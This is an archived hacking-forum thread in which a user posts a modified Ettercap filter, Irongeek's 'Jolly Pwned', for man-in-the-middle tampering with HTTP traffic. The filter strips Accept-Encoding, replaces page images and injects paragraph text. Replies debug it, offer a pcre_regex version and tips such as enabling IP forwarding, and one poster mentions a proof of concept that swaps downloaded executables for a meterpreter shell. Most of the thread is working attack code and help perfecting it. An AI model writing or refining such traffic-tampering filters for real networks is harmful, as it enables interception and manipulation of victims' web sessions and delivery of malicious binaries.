Jump to content

Archived

This topic is now archived and is closed to further replies.

ÖVèЯRÍđễ

What is wrong with this Ettercap filter?

Recommended Posts

I have a ettercap filter which I modified, It is used to change pictures on a web page, but I wanted it to change paragraph text aswell. It changes the pictures but not the text. Here is the script.

############################################################################
#                                                                          #
#  Jolly Pwned -- ig.filter -- filter source file                          #
#                                                                          #
#  By Irongeek. based on code from ALoR & NaGA                             #
#  Along with some help from Kev and jon.dmml                              #
#  http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833              #
#                                                                          #
#  This program is free software; you can redistribute it and/or modify    #
#  it under the terms of the GNU General Public License as published by    #
#  the Free Software Foundation; either version 2 of the License, or       #
#  (at your option) any later version.                                     #
#                                                                          #
############################################################################
if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); 
	  # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   replace("<p>", "<p>Text I want to display</p>");
   replace("<P>", "<P>Test I want to display</P>");
}

So my question is, what have I done wrong on the 2nd from bottom line and 3rd from bottom line?

Thanks.

Share this post


Link to post
Share on other sites

From Droid...

There are a few steps you may have to take.

Maybe set uid in ettercap config.

Enable ipfarwording per iptables or ipchains os specific.

These 2 above would help u Google search

Content-length also plays a big part when moding data, always try something simple like replace(poo for pee)

Try several webpages during your test msn, yahoo etc... Not https...

I have some proof of concept I wrote in ruby, when a user downloads a executable during mitm, the binary data is replaced with a meterpreter shell

https://vimeo.com/51230425

Share this post


Link to post
Share on other sites

I have a ettercap filter which I modified, It is used to change pictures on a web page, but I wanted it to change paragraph text aswell. It changes the pictures but not the text. Here is the script.

############################################################################
#                                                                          #
#  Jolly Pwned -- ig.filter -- filter source file                          #
#                                                                          #
#  By Irongeek. based on code from ALoR & NaGA                             #
#  Along with some help from Kev and jon.dmml                              #
#  http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833              #
#                                                                          #
#  This program is free software; you can redistribute it and/or modify    #
#  it under the terms of the GNU General Public License as published by    #
#  the Free Software Foundation; either version 2 of the License, or       #
#  (at your option) any later version.                                     #
#                                                                          #
############################################################################
if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!"); 
	  # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   replace("<p>", "<p>Text I want to display</p>");
   replace("<P>", "<P>Test I want to display</P>");
}

So my question is, what have I done wrong on the 2nd from bottom line and 3rd from bottom line?

Thanks.

I'm not familiar with ettercap filters, but it would appear that your code should produce:

<p>Text I want to display</p>[ORIGINAL TEXT]</p>

Firstly, all your code does is replace the <p> tag with your desired text. It does not replace the content or the closing tag.

Here's a link to the etterfilter manpage:

http://linux.die.net/man/8/etterfilter

Try using the pcre_regex() function instead.

Share this post


Link to post
Share on other sites
if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
      # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   
   #replace("<p>", "<p>Text I want to display</p>");
   #replace("<P>", "<P>Test I want to display</P>");
   
   pcre_regex(DATA.data, "\<[pP]\>.*<\/[pP]\>", "\Q<p>Text I want to display</p>\E");

}

Maybe something like this...

Share this post


Link to post
Share on other sites

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...